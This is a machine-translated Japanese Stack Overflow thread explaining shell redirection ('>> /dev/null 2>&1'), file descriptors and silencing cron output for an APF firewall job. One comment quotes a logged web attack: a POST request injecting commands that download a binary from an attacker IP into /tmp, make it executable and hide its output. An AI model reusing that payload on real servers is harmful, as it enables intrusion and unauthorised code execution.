/ dev / null 2>&1とは何ですか?


237

このコードを/etc/cron.daily/apfで見つけました

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

ファイアウォールをフラッシュしてリロードしています。
分からない>> /dev/null 2>&1

これをcronに入れる目的は何ですか?ファイアウォールルールが上書きされています。このcronジョブを安全に削除できますか?


1
参考:プロセスを沈黙させる短い方法は>&- 2>&-です。
Zaz 2013

22
@ジョシュ:なぜ今よりももっと謎めいたものにするのですか?
endlith 2013年

4
@Joshこれにより、それぞれのFDが閉じられ、プログラムが異常終了する可能性があります。
glglgl 2014

1
2>&1 > /dev/null同じ > /dev/null 2>&1 ですか?それは私にとってはより自然なようです...
edelans 2014

6
@edelansいいえ。そのようにすると、stderrがstdoutにリダイレクトされ/dev/nullますが、元のstdoutだけが—stderrに出力されます。gist.github.com/zigg/344361751c0110419b0fで
zigg

回答:


354

>> /dev/null標準出力(stdout)を/dev/null、それを破棄します。

(これ>>は余計なもののようです。なぜなら、>>追加>することは切り捨てて書き込むことを意味し、追加することも書き込むこと/dev/nullも同じ正味の効果を持っているからです。私は通常>その理由で使用します。)

2>&1標準エラー(2)を標準出力(1)にリダイレクトします。標準出力は既にリダイレクトされているため、これも破棄されます。


7
&記号は何を示してい2>&1ますか。
誰も

17
&はファイル記述子を示します。通常、3つのファイル記述子(標準入力、出力、およびエラー)があります。
Testing123

1
あなたの質問については、以下の私の答えをチェックし@Nobody stackoverflow.com/questions/10508843/what-is-dev-null-21/...
Vishrant

1
&がファイル記述子を示す場合、2の前に&がないのはなぜですか?
user6708151

1
他の人がファイル記述子を説明する以下の回答を読んでいない場合に備えて:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
Elysiumplain

199

>> /dev/null 2>&1ステートメントを部分に分解しましょう:


パート1: >>出力リダイレクト

これは、プログラム出力をリダイレクトし、ファイルの最後に出力を追加するために使用されます。もっと...


パート2: /dev/null特殊ファイル

これは、疑似デバイス特殊ファイルです

このコマンドのls -l /dev/null詳細は次のとおりです。

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

観察しましたcrwか?これは、シリアルアクセスを提供する文字特殊ファイルタイプの疑似デバイスファイルであることを意味します。

/dev/nullすべての入力を受け入れて破棄します。出力を生成しません(読み取り時に常にファイルの終わりの指示を返します)。リファレンス:ウィキペディア


パート3: 2>&1ファイル記述子

あなたがプログラムを実行するたびに、我々は、ファイルが開かれるたびに、(からオペレーティングシステム知っているように、オペレーティングシステムは常に三つのファイル、標準入力、標準出力、および標準エラーを開き、カーネルが)と呼ばれる非負の整数を返すファイルディスクリプタを。これらのファイルのファイル記述子は、それぞれ0、1、2です。

つまり、2>&1単に標準エラーを標準出力にリダイレクトするということです。

& 以下はファイル名ではなくファイル記述子であることを意味します。

つまり、このコマンドを使用すると、実行中に叫ばないようにプログラムに指示できます。

を使用することの重要性は何2>&1ですか?

端末でエラーが発生した場合でも、出力を生成したくない場合。より明確に説明するために、次の例を考えてみましょう:

$ ls -l > /dev/null

上記のコマンドの場合、出力はターミナルに出力されませんでしたが、このコマンドでエラーが発生した場合はどうなるでしょうか。

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

出力を/dev/nullにリダイレクトしていますが、ターミナルに出力されます。これは、エラー出力を/dev/nullにリダイレクトしないためです。そのため、エラー出力もリダイレクトするために、以下を追加する必要があり2>&1ます。

$ ls -l file_doesnot_exists > /dev/null 2>&1

2
良い例え!「>」が「STDERR」をリダイレクトしないことを知らない。
miao.wang 2018

うまく説明しました!非常に有益です。ありがとう。最近遭遇したWeb攻撃を理解するのに役立ちます。攻撃者は、上記のコードを含むPOSTリクエストを介して悪意のあるコードを挿入しています。
Sohel Pathan

1
@Vishrant挿入されたコードは次のようになります:POST / user / password?name [%23post_render] [] = system&name [%23markup] = cd + / tmp; wget + -O + xm111 + xxx.xxx.xxx.xxx/xm111;chmod+777+ xm111; wget + -O + config.json + http:/… > / dev / null 2>&1&HTTP / 1.1 xxx.xxx.xxx.xxxは攻撃者のIPであり、多くのサイトで悪用されていると表示されています。何よりも重要な予防策は、ファイアウォール内のIPとそのようなIPのパターンをブロックすることです。攻撃は、ホームページの読み込み時にサードパーティのWebサイトにリダイレクトすることでした。Apacheサーバーログに疑わしいIPとリクエストが表示されました。
Sohel Pathan

5
なぜ2の前にも「&」を使用しないのかと思っていたところです。誰かが私の疑問を解決してくれませんか?
Snehasish Karmakar 2018

1
@SnehasishKarmakarは正当な質問です。OSは、最初の引数がファイル記述子であることを理解するのに十分スマートであると思います>が、リダイレクト演算子です。リダイレクト演算子は、&前に追加するファイルの場所であると予想され1ますが、アプリケーションが出力をリダイレクトする必要があるファイルではないことを示していますが、ファイル記述子。誰かがこのコメントの詳細を追加していただければ幸いです。
ヴィシュラント2018

58

これは、プログラムを静かに実行し、そのすべての出力を非表示にする方法です。

/dev/null書き込まれたすべてを破棄する特別なファイルシステムオブジェクトです。ストリームをそこにリダイレクトするということは、プログラムの出力を隠すことを意味します。

2>&1一部の手段を使用して、出力ストリームをリダイレクトするときに、エラーストリームも同様にリダイレクトされる、「出力ストリームにエラーストリームをリダイレクトします」。プログラムがstderr今書き込んでも、その出力も破棄されます。


37
実際には、2>&1実際ににリダイレクトさstderrstdoutます。これとあなたが主張したものとの違いは、リダイレクトの順序を入れ替えることで最もよくわかり2>&1 >/dev/nullます。
zigg

15

/dev/null 書き込みをすべて破棄する標準ファイルですが、書き込み操作が成功したことを報告します。

1標準出力で2あり、標準エラーです。

2>&1標準エラーを標準出力にリダイレクトします。&1ファイル記述子(標準出力)を示します。それ以外の場合(単にを使用する場合)、1標準エラーをという名前のファイルにリダイレクトします1[any command] >>/dev/null 2>&1すべての標準エラーを標準出力にリダイレクトし、そのすべてをに書き込みます/dev/null


7

>> /dev/null 2>&1はサイレントcronjob に使用します。cronjobはその仕事をしますが、私のメールにレポートを送信しません。

私の知る限り、削除しないでください/dev/null。特にcPanelを実行すると、使い捨てのcronjobレポートに使用できます。


2

他の人が説明しているように、/ dev / nullに書き込むと、プログラムの出力が削除されます。通常、cronは、cronjobで開始されたプロセスからのすべての出力について電子メールを送信します。したがって、/ dev / nullに出力を書き込むことで、cronでアドレスを指定した場合にスパムにさらされるのを防ぎます。


0

編集/etc/conf.apf。セットDEVEL_MODE="0"DEVEL_MODEに設定する1と、5分後にapfを停止するcronジョブが追加されます。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.